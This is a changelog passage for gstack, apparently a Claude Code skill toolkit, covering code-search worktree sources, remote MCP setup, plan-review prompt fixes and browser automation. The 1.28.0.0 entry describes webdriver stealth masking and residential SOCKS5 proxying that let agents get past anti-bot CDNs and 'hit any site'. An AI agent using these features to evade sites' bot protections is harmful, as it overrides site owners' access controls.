- The wave was triaged by `/plan-ceo-review` (single-wave + bisect-discipline merge ordering), `/plan-eng-review` (mapped 5 cross-PR conflict pairs with explicit resolution rules + tightened the `gh pr checkout N -b pr-N` syntax), and `/codex` outside-voice review (caught 6 factual errors and 2 process improvements that both internal reviews missed; cross-model agreement was 14%). All review findings were incorporated before merge; the two CI gaps codex flagged became the CL-1 and CL-2 closing fixes that ship in this same release.
- The five cross-PR conflict pairs documented in the plan (#1316↔#1270 codex resume line, #1309→#1310→#1308 server.ts state writes, #1366↔#1308 browser-manager, #1306↔#1308 security.ts, #1332↔#1302 ship template) all surfaced as predicted; resolutions kept both intents on each. The lone exception was the #1310/#1308 state-file write site, where `fs.writeFileSync(tmpStatePath(), ..., { mode: 0o600 })` is preserved (locks #1310's race-fix invariant exercised by `browse/test/server-tmp-state-path.test.ts`); icacls hardening still applies to every other `writeSecureFile` call site #1308 introduced (`auth.json`, the `mkdirSecure` paths, etc.).
- PR #1302 only edited the generated `ship/SKILL.md`, not the source `ship/SKILL.md.tmpl` or `scripts/resolvers/review.ts`. The next `bun run gen:skill-docs` would have wiped its changes; the wave includes `fix(ship): port #1302 SKILL.md edits to .tmpl + resolver source` to keep the changes alive across regen.

## [1.29.0.0] - 2026-05-08

## **Code search beats Grep across every Conductor worktree now, not just the last one you synced.**

`/sync-gbrain` registers each worktree as its own gbrain source, then
runs `gbrain sources attach <id>` so the worktree gets a `.gbrain-source`
pin in its root. Subsequent `gbrain code-def`, `code-refs`, `code-callers`
calls from anywhere under the worktree route to that source by default,
no `--source` flag needed. Conductor sibling worktrees of the same repo
no longer collide on a shared `gstack-code-<slug>` source ID, so the
last `/sync-gbrain` run no longer silently overwrites every other
worktree's index.

Three correctness bugs surfaced by `/codex` adversarial review during
`/ship` are fixed in the same release: silent attach failure (sync
succeeds but pin is missing → unqualified `code-def` hits the wrong
source), preamble inconsistency (startup hint claimed "indexed" based
on global state, ignoring per-worktree pins), and orphan source leak
(the pre-pathhash `gstack-code-<slug>` source stayed registered
forever, polluting federated cross-source search). All three fixed
before merge.

### The numbers that matter

End-to-end verified via `bun test test/gstack-gbrain-sync.test.ts test/gbrain-sources.test.ts test/gen-skill-docs.test.ts`:

| Surface | Before | After | Δ |
|---|---|---|---|
| Conductor worktrees indexed independently | 1 (last-sync-wins) | N (one source per path) | branch-correct |
| `gbrain code-def` from a worktree without sync | hits wrong source silently | falls back to default with notice | no silent corruption |
| Orphan sources accumulated across runs | unbounded | 0 (legacy id removed on first new-format sync) | clean |
| Attach-failure-to-pin behavior | stage reports `ok:true` | stage reports `ok:false` with reason | no silent correctness break |
| Orchestrator registration logic | duplicated in `bin/` and `lib/` (could miss `--db` on one path) | single source of truth in `lib/gbrain-sources.ts` | DRY |
| Required gbrain version | v0.20.0+ (single-brain-only) | v0.30.0+ (uses `sources attach`) | prerequisite bumped |

Test count went from 405 → 408 (+3 worktree-aware tests + 1 legacy-cleanup preview test).

### What this means for builders

If you use Conductor to run multiple parallel branches of the same
repo, you can now run `/sync-gbrain` in each one and `gbrain code-def`
from inside any of them returns hits from THAT worktree's branch state,
not whichever sibling synced most recently. This was a hard requirement
before semantic code search could replace Grep for refactor planning,
"where is X used", "what depends on what" queries across parallel
worktrees. Run `gbrain autopilot --install` once per machine for
ongoing background sync; gbrain owns the daemon lifecycle.

### Itemized changes

#### Added

- Worktree-aware source IDs in `bin/gstack-gbrain-sync.ts:176-186`. Pattern is now `gstack-code-<slug>-<pathhash8>` where `pathhash8` is the first 8 hex chars of `sha1(absolute repo path)`. Conductor worktrees of the same origin coexist as separate sources in one gbrain DB.
- `gbrain sources attach <id>` step in `runCodeImport` (`bin/gstack-gbrain-sync.ts:336-351`). Writes `.gbrain-source <id>` in the worktree root after sync succeeds; subsequent `gbrain code-def` calls from any subdirectory auto-route to that source.
- Legacy source cleanup: on first new-format sync, removes the pre-pathhash `gstack-code-<slug>` orphan via `gbrain sources remove ... --confirm-destructive` (`bin/gstack-gbrain-sync.ts:298-318`).
- `.gbrain-source` added to `.gitignore` so per-worktree pin doesn't leak across branches.

#### Changed

- Code stage no longer skipped on remote-MCP (Path 4) installs. The early-exit in `sync-gbrain/SKILL.md.tmpl` was bouncing users out before the orchestrator ran; the local code brain works regardless of whether artifacts use a remote MCP. Replaced with split-engine prose explaining the model.
- Source registration now flows through `lib/gbrain-sources.ts:ensureSourceRegistered` exclusively. Deleted `ensureSourceRegisteredSync` from the orchestrator binary (was a near-duplicate of the lib helper at `lib/gbrain-sources.ts:100`). Removes the missed-flag risk where one path could skip `--db` or `--federated`.
- Startup preamble (`scripts/resolvers/preamble/generate-brain-sync-block.ts:48-75`) now checks for `.gbrain-source` in `git rev-parse --show-toplevel`, not the global `~/.gstack/.gbrain-sync-state.json`. Opening an unsynced worktree no longer claims "indexed" based on a sibling's sync.
- CLAUDE.md guidance block in the SKILL template now documents the `.gbrain-source` pin and `gbrain autopilot --install` for ongoing sync.

#### Fixed

- Silent attach failure: `gbrain sources attach` now treated as stage failure if it returns non-zero. Previously the stage reported `ok:true` while the pin was missing, so unqualified `gbrain code-def` queries silently hit the default source. Now surfaces ERR with reason in the verdict block; user knows to retry.
- Wrong-layer Path 4 early-exit (`/codex` finding #2 from `/plan-eng-review`).
- Orphan source accumulation: the pre-pathhash `gstack-code-<slug>` source stayed registered across `/sync-gbrain` runs even after the path-keyed format shipped, polluting federated `gbrain search` results with stale duplicates.

#### For contributors

- Phase 0 verification spike at `~/.gstack/projects/garrytan-gstack/2026-05-08-gbrain-split-engine-spike.md` documents what gbrain v0.30 actually provides (no `--db` flag, `serve --http` requires postgres, `sources attach` is the v0.30 routing primitive). The approved plan's "per-worktree PGLite + per-worktree HTTP serve" architecture was invalidated by the spike; the simpler "one brain, many sources, attach for CWD pin" model collapsed ~80% of the plan's complexity.
- `/codex` adversarial review during `/ship` caught all three correctness bugs above (silent attach, preamble inconsistency, orphan leak) before merge. Find-cost: ~10 min CC. Production-bug-cost: stale code search results that "almost worked" — the worst kind to debug.
- gbrain CLI minimum version is now v0.30.0 (uses `sources attach`, which doesn't exist in v0.20.x). Run `cd ~/git/gbrain && git pull && bun install && bun link` to upgrade.

## [1.28.0.0] - 2026-05-07

## **Browse handles real-world automation now: SOCKS5 with auth, container Xvfb, browser-native downloads. Plus a single-file `llms.txt` index agents can crawl in one read.**

Five capabilities ship in one PR. Browse picks up `--proxy` (with an
embedded SOCKS5 bridge so Chromium can speak to authenticated
upstreams it can't speak to natively), `--headed` (auto-spawns Xvfb
on Linux containers without DISPLAY), and `download --navigate` (uses
the browser's native download handler for Content-Disposition,
multi-hop CDN redirects, and anti-bot CDN chains where
`page.request.fetch()` falls over). Stealth is narrowed to
`navigator.webdriver` masking only — modern fingerprinters punish
inconsistent fakes, so faking plugins/languages was making
detection easier, not harder. And `gstack/llms.txt` is now
auto-generated from the same source as every SKILL.md, so any agent
that reads `llms.txt` boots into the full surface (47 skills, 75
browse commands) in one fetch.

### The numbers that matter

End-to-end verified via `bun test browse/test/{socks-bridge,proxy-config,proxy-redact,xvfb,stealth-webdriver,bridge-chromium-e2e}.test.ts test/llms-txt-shape.test.ts`:

| Surface | Before | After | Δ |
|---|---|---|---|
| `browse --proxy` (SOCKS5 with auth) | not supported | works end-to-end | new capability |
| `browse --headed` on Linux without DISPLAY | not supported | auto-Xvfb on first free display | new capability |
| `download --navigate` (browser-native) | only `page.request.fetch()` | added native download path | new capability |
| `gstack/llms.txt` index for agents | none | 47 skills + 75 commands in 11KB | new capability |
| Bridge PID validation defenses | n/a | both `/proc/<pid>/cmdline` AND start-time | full safety |
| Tests covering proxy + headed + navigate | 0 | 70+ tests across 7 files | from zero to comprehensive |

The `bridge-chromium-e2e.test.ts` is the one that proves the feature
actually works: real Chromium launches with `proxy.server =
socks5://127.0.0.1:<bridgePort>`, navigates to a local HTTP fixture,
and we assert the auth upstream's connect counter and the HTTP
fixture's hit counter both increment. Without that test we could
ship a working byte-relay and a broken Chromium integration and never
notice.

### What this means for AI agents

Any agent on any project can now hit any site. DDoS-Guard'd CDN
behind an auth-required residential SOCKS5 → `browse --proxy
socks5://user:pass@host:1080 --headed download <url> /tmp/file
--navigate` and the file lands. Linux container without DISPLAY →
`--headed` auto-spawns Xvfb, no manual setup. The `llms.txt` index
makes discovery a one-fetch operation: agents stop scanning 47
SKILL.md files and start with the right skill on the first try.

### Itemized changes

#### Added
- `browse --proxy <url>` flag. Supports SOCKS5 with username/password
  auth, HTTP, and HTTPS. SOCKS5+auth runs through an embedded local
  bridge (`browse/src/socks-bridge.ts`, ~250 LOC) bound to 127.0.0.1
  on an ephemeral port. The bridge handles the SOCKS5 auth handshake
  so Chromium (which can't prompt for SOCKS5 creds) can still use
  authenticated upstreams.
- Pre-flight `testUpstream()` runs before Chromium launches: 5s total
  budget, 3 retries with 500ms backoff (handles VPN warm-up race).
  On failure, exits 1 with a redacted error message — no confusing
  "connection refused" on first navigation.
- `browse --headed` flag with auto-Xvfb on Linux. Walks the display
  range (`:99`, `:100`, ...) until `xdpyinfo` says free; never
  hardcodes `:99` and never unlinks `/tmp/.X<n>-lock` for displays
  it didn't create. Xvfb child PID + start-time + display recorded
  in `~/.gstack/browse.json` so cleanup-on-disconnect can validate
  ownership before signaling. Skips spawn when `WAYLAND_DISPLAY` is
  set (Chromium uses Wayland natively).
- `download --navigate` flag (community PR #1355, attribution preserved).
  Uses `page.waitForEvent('download')` and `page.goto(url, {
  waitUntil: 'commit' })` instead of `page.request.fetch()`.
  Required for sites where the download is triggered by browser
  navigation (Content-Disposition headers, redirect chains, anti-bot
  CDNs).
- `gstack/llms.txt` auto-generated from skill frontmatter and the
  browse `COMMAND_DESCRIPTIONS` registry. Regenerates on every
  `bun run gen:skill-docs`. Strict mode (used in tests) refuses any
  skill missing `name` or `description` in its frontmatter.

#### Changed
- Stealth narrowed to `navigator.webdriver` masking only. The
  pre-existing `launchHeaded` patches that faked `navigator.plugins`
  and `navigator.languages` were removed because modern
  fingerprinters check those for consistency with `userAgent`/
  `platform`, and synthesized fixed values can flag MORE bot-like,
  not less. The cdc_/__webdriver runtime cleanup and Permissions API
  patch are kept — those remove ChromeDriver-injected artifacts
  rather than synthesize natural-browser values.
- Browse daemon refuses to silently restart on `--proxy`/`--headed`
  flag mismatch. Existing daemon with config A + new invocation with
  config B → exits 1 with a `browse disconnect` hint. No silent
  state loss.
- Cred policy: passing creds in BOTH the URL and `BROWSE_PROXY_USER`/
  `BROWSE_PROXY_PASS` env vars now fails fast with a clear error.
  Silent override was a debugging trap.

#### Fixed
- N/A — all-new code paths.

#### For contributors
- New module boundary: `browse/src/socks-bridge.ts`,
  `browse/src/proxy-config.ts`, `browse/src/proxy-redact.ts`,
  `browse/src/xvfb.ts`, `browse/src/stealth.ts`. Each is small,
  testable in isolation, and has matching `*.test.ts` coverage.
- 70+ new tests across 7 files. The `bridge-chromium-e2e.test.ts`
  test launches real Chromium through the bridge and asserts the
  request actually traversed it (upstream connect counter + HTTP
  fixture hit counter both increment).
- `socks` npm dependency added (~30KB).
- Xvfb + x11-utils added to `.github/docker/Dockerfile.ci` so
  `headed-xvfb`/`headed-orphan-cleanup` exercise the Linux container
  path on every CI run instead of only manual smoke tests.
- Community PR #1355 from @garrytan-agents merged; attribution
  preserved on the merging commit.

## [1.27.1.0] - 2026-05-06

## **Plan-mode reviews now refuse to dump findings without asking. Four gate-tier tests catch the regression on every PR.**

The four `/plan-*-review` skills (eng, ceo, design, devex) gain an
anti-shortcut clause baked in via a single shared resolver. The clause
names the May 2026 transcript-bug failure mode directly: model explores,
finds issues, dumps every finding into one plan write, calls
ExitPlanMode without firing AskUserQuestion. The new clause closes that
loophole: "the plan file is the OUTPUT of the interactive review, not a
substitute for it." Future tightening edits one resolver, all four
skills update on the next gen-skill-docs.

Four gate-tier E2E tests catch the regression class on every PR that
touches the four templates, the shared resolver, or the seeds fixture.
Each test drives the matching skill against a small "forcing finding"
seed and asserts the agent fires at least one AskUserQuestion before
reaching plan_ready. ~1-3 min wall time per test, ~$2-6 total per CI
hit. Eng floor: 59s. CEO floor: 197s. All four pass against the new
template.

### The numbers that matter

Verified end-to-end via live PTY runs against `claude` plan mode:

| Surface | Before | After | Δ |
|---|---|---|---|
| Plan-mode reviews with anti-shortcut clause | 0/4 | 4/4 | full coverage of plan-* family |
| Gate-tier regression tests for the transcript-bug class | 0 | 4 | one per skill |
| Wall time per floor test (typical) | n/a | 30s-3m | early exit on first AUQ render |
| Cost per gate run (when triggered) | n/a | ~$2-6 | diff-gated; only fires on relevant edits |
| Lines added / deleted | — | +450 / −3 | additive; no breaking changes |

The floor tests use a focused observer (`runPlanSkillFloorCheck`) that
exits at the first non-permission numbered-option render. Existing
periodic finding-count tests use `runPlanSkillCounting` for full
fingerprint analysis on a 25-min budget; the floor variant trades
fingerprint precision for early-exit reliability so it fits gate-tier
constraints. Both helpers live side-by-side in
`test/helpers/claude-pty-runner.ts`.

### What this means for the four review skills

Every plan-* review now has a structural rule against the precise
failure mode the transcript exhibited. The anti-shortcut clause
appears in the rendered prompt right after the existing Anti-skip
rule, so it's read alongside the per-section STOP gates v1.26.2.0
already added. If a future model regression revives the bug, the
gate-tier floor test fires with full PTY evidence on the next PR.

### Itemized changes

#### Added
- **`generateAntiShortcutClause` resolver** in `scripts/resolvers/review.ts`,
  registered as `{{ANTI_SHORTCUT_CLAUSE}}` in the `RESOLVERS` map.
  Plan-* SKILL.md.tmpl files include it via one placeholder line.
- **`runPlanSkillFloorCheck` PTY helper** in
  `test/helpers/claude-pty-runner.ts` — minimal "did the agent fire ANY
  AskUserQuestion?" observer with early exit on first non-permission
  numbered-option render.
- **Four gate-tier finding-floor E2E tests** in
  `test/skill-e2e-plan-{eng,ceo,design,devex}-finding-floor.test.ts`,
  each using the shared `runPlanSkillFloorCheck` helper.
- **Four forcing-finding seeds** in `test/fixtures/forcing-finding-seeds.ts`,
  one per skill, each engineered to surface at least one finding under
  that skill's review focus.

#### Changed
- **All four `plan-*-review` SKILL.md** files now include the
  anti-shortcut clause immediately after the `**Anti-skip rule:**`
  paragraph. Anchored on the paragraph (not the surrounding heading)
  so the same insertion works across all four templates regardless of
  their differing section labels.
- **`test/helpers/touchfiles.ts`** adds 4 entries to `E2E_TOUCHFILES`
  and `E2E_TIERS=gate`. The new entries depend on the matching skill
  template, the shared resolver, the seeds fixture, and the PTY
  runner helper.
- **`test/touchfiles.test.ts`** count assertion bumped 21→22 with
  explicit `plan-ceo-finding-floor` containment.

## [1.27.0.0] - 2026-05-06

## **`/setup-gbrain` connects to a remote brain in one paste. Brain repo renamed to gstack-artifacts.**

`/setup-gbrain` now has a fourth path: paste a remote MCP URL plus a bearer
token, and the skill registers it as your gbrain MCP without provisioning a
local brain DB. No PGLite to install, no Supabase project to set up. Just
point this Mac at a brain that already runs somewhere else (Tailscale node,
ngrok endpoint, internal LAN, a teammate's server) and you have search +
write working in one Claude Code session restart. The same flow optionally
provisions a private `gstack-artifacts-$USER` repo on GitHub OR GitLab so
the remote brain can ingest your CEO plans, designs, and reports as a
federated source. The renamed repo replaces `gstack-brain-$USER` with a
clearer name; existing users get a journaled, interruption-safe migration
that handles the GitHub repo rename, the on-disk file moves, the config
key rewrite, and the gbrain federated-source swap (add-new-before-remove-old,
no downtime window).

### The numbers that matter

Verified end-to-end against a live remote brain (wintermute on Tailscale,
gbrain v0.27.1, 96K pages) plus the new test suite:

| Surface | Before | After | Δ |
|---|---|---|---|
| `/setup-gbrain` paths | 3 (Supabase / PGLite / Switch) | 4 (Supabase / PGLite / Switch / Remote MCP) | +1 path, no local install required |
| Time to working remote MCP | manual `claude mcp add --transport http`, then skip the rest of the skill | one Path 4 walkthrough, full verify + artifact-repo provision | ~30 sec setup, agent guided |
| Verify failure modes classified | none (raw curl error) | NETWORK / AUTH / MALFORMED, each with one-line remediation hint | 3 buckets, 0 wrong-layer debugging |
| Migration interruption safety | partial-state on Ctrl-C | journal at `.migrations/v1.27.0.0.journal`, resumes from the next un-done step | 6-step atomic rollback |
| Rename blast radius | one bin script | bin + scripts/ + 8 generated SKILL.md surfaces | grep regression test guards every caller |
| Tests added | — | 59 unit + 2 gate-tier E2E + 4 regression | full coverage of the rename + Path 4 prose contract |

| Path 4 step | What runs | Local dependency |
|---|---|---|
| Step 4c verify | `gstack-gbrain-mcp-verify $URL` (curl POST initialize) | none |
| Step 5a register | `claude mcp add --scope user --transport http gbrain $URL --header "Authorization: Bearer $TOKEN"` | claude CLI |
| Step 7 artifacts | `gstack-artifacts-init` (gh OR glab OR manual URL paste) | gh / glab / git |
| Step 8 CLAUDE.md | mode-aware block; token NEVER written to CLAUDE.md (only `~/.claude.json`) | filesystem |
| Step 9 smoke test | prints curl-equivalent for post-restart manual verification | none |

The verify helper's `Accept: application/json, text/event-stream` requirement
is a regression-tested invariant. Every MCP server that ships HTTP transport
returns 406 Not Acceptable without both values; missing this header costs
about 10 minutes of debugging per fresh setup.

### What this means for users running gbrain across machines

If you have a brain on a different Mac, a Tailscale-connected server, or a
teammate runs one for the team, you no longer need a local install on every
client. One paste of URL + bearer registers the MCP at user scope; restart
Claude Code and `mcp__gbrain__search` and friends become callable. The
artifacts repo is per-user (private), so each developer pushes their own
plans/designs/reports without crossing trust surfaces. Renaming
`gstack-brain-$USER` to `gstack-artifacts-$USER` is automatic if you accept
the migration prompt; everything keeps working if you decline.

Existing local-mode users (PGLite or Supabase) see no behavior change beyond
the rename. The path you picked in `/setup-gbrain` Step 2 still runs end to
end, just under the new "artifacts" terminology.

### Itemized changes

#### Added

- **`/setup-gbrain` Path 4 (Remote MCP).** Step 2 gains a fourth option:
  paste an HTTPS MCP URL plus a bearer token. The skill verifies via
  `gstack-gbrain-mcp-verify` (NETWORK / AUTH / MALFORMED classifier with
  one-line remediation hints), registers via `claude mcp add --scope user
  --transport http gbrain --header "Authorization: Bearer ..."`, then
  skips local install / doctor / transcript ingest because Path 4 has
  no local dependencies. Steps 5, 5a, 7, 8, 9, 10 all branch on mode.
  Idempotent re-run skips Step 2 entirely when `gbrain_mcp_mode=remote-http`
  is already detected.
- **`bin/gstack-gbrain-mcp-verify`** (new). POSTs `initialize` to a remote
  MCP URL with the bearer from `$GBRAIN_MCP_TOKEN` (never argv) and
  classifies failures into NETWORK / AUTH / MALFORMED with concrete
  remediation hints. Probes `tools/list` for forward-compat with future
  gbrain releases that ship `mcp__gbrain__sources_add` (returns
  `sources_add_url_supported: true|false`).
- **`bin/gstack-artifacts-init`** (new). Replaces `gstack-brain-init`. Asks
  the user to pick GitHub (auto via `gh`), GitLab (auto via `glab`), or
  manual URL paste. Creates `gstack-artifacts-$USER` (private), stores the
  HTTPS URL canonically in `~/.gstack-artifacts-remote.txt`, and prints the
  brain-admin hookup command labeled "Send this to your brain admin" (always
  prints, never auto-executes — see `setup-gbrain/memory.md` for why).
- **`bin/gstack-artifacts-url`** (new). Small helper for HTTPS↔SSH
  conversion plus host / owner-repo extraction. Mirrors the spirit of
  `gstack-slug` so URL-format string-mangling lives in one place.
- **`gbrain_mcp_mode` field in `gstack-gbrain-detect` output.** 3-tier
  fallback: `claude mcp get gbrain --json` → `claude mcp list` text-grep →
  `~/.claude.json` jq read. Defense in depth: if Anthropic moves the file
  format, the first two tiers absorb it.
- **`gstack-upgrade/migrations/v1.27.0.0.sh`**. Six-step journaled migration
  for the brain → artifacts rename. Each step writes its name to
  `~/.gstack/.migrations/v1.27.0.0.journal` on success; re-entry resumes
  from the next un-done step. On final success, journal is replaced by
  `v1.27.0.0.done`. User opt-out writes a `skipped-by-user` marker so the
  prompt doesn't fire again until `/setup-gbrain --rerun-migration`.
- **`setup-gbrain/memory.md`** has a new "Path 4: Remote MCP setup"
  section covering the bearer storage trade-off, the always-print
  brain-admin hookup pattern, the CLAUDE.md block format (no token), and
  token-rotation guidance.

#### Changed

- **`gbrain_sync_mode` config key renamed to `artifacts_sync_mode`.** Hard
  rename, no dual-read alias. The migration script rewrites the key in
  `~/.gstack/config.yaml` and any "## GBrain Configuration" block in
  CLAUDE.md. Internal callers updated:
  `bin/gstack-config`, `bin/gstack-gbrain-detect`, `bin/gstack-brain-sync`,
  `bin/gstack-brain-enqueue`, `bin/gstack-brain-uninstall`,
  `bin/gstack-timeline-log`, `scripts/resolvers/preamble/generate-brain-sync-block.ts`.
- **Preamble `BRAIN_SYNC: ...` line renamed to `ARTIFACTS_SYNC: ...`** and
  branches on `gbrain_mcp_mode`. In remote-http mode it emits
  `ARTIFACTS_SYNC: remote-mode (managed by brain server <host>)` to make
  clear that local sync is a no-op by design.
- **`bin/gstack-brain-restore`, `bin/gstack-gbrain-source-wireup`, and
  `bin/gstack-brain-uninstall`** read `~/.gstack-artifacts-remote.txt` with
  `~/.gstack-brain-remote.txt` as a migration-window fallback. Once the
  v1.27.0.0 migration runs, only the artifacts file remains.
- **`/sync-gbrain` is a graceful no-op in remote-http mode** (V1). Prints a
  one-line note pointing at the brain server and exits cleanly. Local-mode
  users see no change.

#### Removed

- **`bin/gstack-brain-init` deleted.** Replaced by `bin/gstack-artifacts-init`.
  Anyone running the old name post-upgrade gets a clean "command not found"
  rather than a silent rename — per the gstack rule "avoid backwards-
  compatibility hacks." Existing users on disk have their state migrated by
  v1.27.0.0.sh.
- **`test/gstack-brain-init-gh-mock.test.ts` deleted.** Replaced by
  `test/gstack-artifacts-init.test.ts` covering the same gh-mock pattern
  plus the new GitLab branch and the brain-admin printout.

#### For contributors

- **59 new unit tests + 2 gate-tier E2E tests + 4 regression tests.**
  Highlights:
  - `test/gstack-gbrain-mcp-verify.test.ts` (13 tests) covers each error
    class via mocked curl, asserts the dual `Accept` header is set on
    every call, regression-tests the token-never-on-stdout invariant.
  - `test/gstack-artifacts-init.test.ts` (16 tests) covers gh / glab /
    both / neither provider selection, HTTPS canonical storage, the
    URL-form-supported branch in the brain-admin printout, and idempotent
    re-run.
  - `test/gstack-gbrain-detect-mcp-mode.test.ts` (19 tests) verifies each
    of the 3 detection tiers in isolation, plus the schema-regression
    check that `/sync-gbrain`'s parser doesn't break on the new fields.
  - `test/migrations-v1.27.0.0.test.ts` (11 tests) covers all six
    migration steps including journal-resume, idempotent re-run, the
    add-before-remove ordering for source swap, and the remote-MCP
    print-only branch.
  - `test/no-stale-gstack-brain-refs.test.ts` greps the broader tree
    (bin, scripts, *.tmpl, generated *.md, test/) for stale identifiers.
  - `test/post-rename-doc-regen.test.ts` confirms gen-skill-docs output
    has no `gstack-brain` strings post-rename.
  - `test/setup-gbrain-path4-structure.test.ts` is a fast structural lint
    that catches AUQ-pacing regressions in the Path 4 prose without
    spending eval tokens.
- **`scripts/resolvers/preamble/generate-brain-sync-block.ts`** detects
  remote-http mode by reading `~/.claude.json` directly (no claude
  subprocess on every preamble — the hot path stays fast).
- **`test/helpers/touchfiles.ts`** wires `setup-gbrain-remote` and
  `setup-gbrain-bad-token` into the gate-tier E2E selection.
- **Preamble byte budget ratcheted from 35K to 36.5K** to honor the
  remote-mode probe in `generate-brain-sync-block.ts`.

## [1.26.5.0] - 2026-05-06

## **The v1.26 memory feature now actually works on a fresh `/setup-gbrain` install, and `/sync-gbrain --full` actually registers github-hosted code sources.**

Two fix-wave bugs closed in one ship. Until this version, the headline v1.26 features ended setup green but did nothing: every transcript page failed `Unknown command: put_page`, and every `github.com/<org>/<repo>` repo got rejected for an invalid source id. After upgrade, clean-install transcripts land in gbrain with title/type/tags intact, and any github-hosted repo registers a code source on the first try.

### The numbers that matter

Both numbers come from running the binaries against the real gbrain v0.25.1 install on this machine, against `origin/main` first (buggy) and the merged branch second.

| Surface | Before (v1.26.4.0) | After (v1.26.5.0) | Δ |
|---|---|---|---|
| Memory-ingest writer verb | `gbrain put_page --slug ... --title ...` (CLI rejects: `Unknown command`) | `gbrain put <slug>` with frontmatter (CLI accepts) | from 100% fail to 0% fail |
| Transcript pages with title/type/tags | none — fields rode CLI flags that no gbrain version accepts | injected into existing frontmatter on every page | search/filter by `--type transcript` actually returns results now |
| Source id derived for `github.com/garrytan/gstack` | `gstack-code-github.com-garrytan-gstack` (38 chars, contains `.`, fails gbrain `[a-z0-9-]{1,32}` validator) | `gstack-code-garrytan-gstack` (27 chars, valid) | 100% of github-hosted repos go from rejected to accepted |
| Availability probe failure mode | every page errors with `Unknown command: put_page` | one clean error: `gbrain CLI not in PATH or missing put subcommand` | log spam goes from N copies to 1 |
| Available `gbrainPutPage()` timeout | 30 s (auto-link reconciliation hits 30 s on dense brains) | 60 s | brains with hundreds of existing pages stop hitting the ceiling on every put |
| `gbrainPutPage()` error surface | `Command failed:` (Node truncates 1 MB stderr) | first 300 chars of `err.stderr` | debugging stops requiring strace; the failure is visible |

The `gbrain put` verb has existed since v0.18.2 and was always the right CLI surface. The `put_page` shape was the MCP tool name leaking into the CLI path. The hybrid writer now handles both transcript pages (existing frontmatter from `buildTranscriptPage`, inject title/type/tags into it) and raw artifact pages (no frontmatter, wrap with new frontmatter).

### What this means for new users

Run `/setup-gbrain` on a clean install, choose any path, and Step 7.5 actually populates the brain with your transcripts plus their metadata. Run `/sync-gbrain --full` on any github-hosted repo and the code stage registers the source instead of failing the `sources add` validator. The headline v1.26 features finally do the thing they shipped to do.

### Itemized changes

#### Fixed
- `bin/gstack-memory-ingest.ts:gbrainPutPage` — switched the writer from the legacy flag-based `gbrain put_page --slug X --title Y --type Z --tags T` form to the CLI surface `gbrain put <slug>` (positional slug, content via stdin, metadata in YAML frontmatter). Two-branch hybrid: when the page body already starts with frontmatter (transcript pages from `buildTranscriptPage`, which prepends agent/session_id/cwd/git_remote/etc. but no title/type/tags), inject title/type/tags into the existing block before the closing `---`. When the body has no frontmatter (raw artifact pages: design-docs, learnings, builder-profile-entries), wrap with a fresh frontmatter carrying the same fields. Either branch produces a page that gbrain's pages list, search, and tag filters actually surface. Contributed by @smithjoshua (PR #1328: base writer + 60 s timeout + 16 MB maxBuffer + stderr first-line surface) and the artifact-wrap branch added on top here.
- `bin/gstack-memory-ingest.ts:gbrainAvailable` — adds a `gbrain --help` probe with a regex anchored on the indented subcommand format (`/^\s+put\s/m`). Replaces the previous `command -v` only check. If a future gbrain renames or removes `put`, the writer fails fast with one clean error per ingest pass instead of N copies of `Unknown command: put_page`. Contributed by @AZ-1224 (PR #1341: probe origin); regex tightening added on top here per Codex P2 plan-review feedback.
- `bin/gstack-gbrain-sync.ts:deriveCodeSourceId` — drops the host segment from canonical remote URLs (the same `github.com-` prefix on every user's id was eating 12 chars of the 32-char gbrain budget for nothing) and falls back to a 6-char sha1 hash on the slug tail when org/repo names still exceed the limit. Every `github.com/<org>/<repo>` derives a gbrain-valid id on the first try. Contributed by @radubach (PR #1330).
- `bin/gstack-gbrain-sync.ts:constrainSourceId` — handles the empty-slug edge case (input sanitizes to all non-alnum chars). Pre-fix the function returned `${prefix}-` which fails gbrain's validator on the trailing hyphen; now falls back to a deterministic sha1-prefixed id. Surfaced via the new `basename-sanitizes-to-empty` regression test added in this version per Codex plan-review.

#### Added
- `test/gstack-memory-ingest.test.ts` — two regression tests stand up a fake `gbrain` shim on PATH and run the real `--bulk` ingest pipeline against a planted Claude Code session. The first asserts the writer hits `gbrain put <slug>` (not `put_page`) and that title, type, AND tags arrive in the put stdin. The second points the writer at a legacy-only shim and asserts the availability probe surfaces a single missing-subcommand error instead of N per-page failures. Contributed by @AZ-1224 (PR #1341); the assertions for title/type/tags arriving in stdin are added on top here. The strengthened test surfaced a deeper issue in PR #1328's inject branch: it searched for `\n---\n` (with trailing newline) but `buildTranscriptPage` joins frontmatter without a trailing newline, so the search never matched. Two-line fix on top: search for `\n---` only.
- `test/gstack-gbrain-sync.test.ts` — four cases from PR #1330 (dot-host, SCP-style remote, multi-dot host, long org/repo forcing hash-truncate) plus two new edge cases this version (no-origin fallback path; basename-sanitizes-to-empty). Each test spawns the CLI inside a temp git repo and asserts the derived id passes gbrain's validator regex. Contributed by @radubach for the four core cases.

#### For contributors
- Codex outside-voice plan review caught three P1 ship-blockers in the originally proposed merge (the no-frontmatter-wrap branch from PR #1341 alone would have silently dropped title/type/tags from every transcript page — its own tests passed because they only asserted `agent: claude-code`). The plan pivoted from `merge #1341 + cherry-pick from #1328` to `merge #1328 + hybrid writer + cherry-pick #1341's tests, strengthened`. Two-pass live smoke against real gbrain (where the database connects) confirmed source-id length goes 38 → 27 chars; memory-ingest writer correctness was verified by the strengthened shim tests against a real `gbrain` CLI process.
- Two follow-up TODOs filed: P2 to bump the `bin/gstack-gbrain-install` pin in lockstep with gstack memory-feature releases (issue #1305 part 2), P3 to handle source-id cross-host collisions (`github.com/acme/foo` and `gitlab.com/acme/foo` currently collapse to the same id; rare but silent).

## [1.26.4.0] - 2026-05-05

## **`/autoplan` review reports now reliably land at the bottom of the plan, even when an older copy lives mid-file.**

The `## GSTACK REVIEW REPORT` section had a write rule that contradicted itself: one bullet said "replace it entirely (in place)" while another said "always last section, move if mid-file." When the agent inherited a plan whose prior `/autoplan` run had landed before user-added sections, the in-place replace path won and the new report stayed mid-file. The user opened ExitPlanMode, saw their plan with no review at the bottom, and had to ask twice. Single delete-then-append rule now, with a Read-tool verification step before the next instruction runs.

### What you can now do

- **Run `/autoplan` against a plan that already has a stale `## GSTACK REVIEW REPORT` mid-file and trust the new report ends up at the bottom.** The instruction in `scripts/resolvers/review.ts` (which feeds `/plan-ceo-review`, `/plan-eng-review`, `/plan-design-review`, `/plan-devex-review`, `/codex`, `/devex-review`) now reads as one rule: search for any existing report section, delete it wherever it lives, append a fresh report at end of file, verify with the Read tool that the report is the last `##` heading. No more contradiction for the agent to reconcile.

### What gets safer

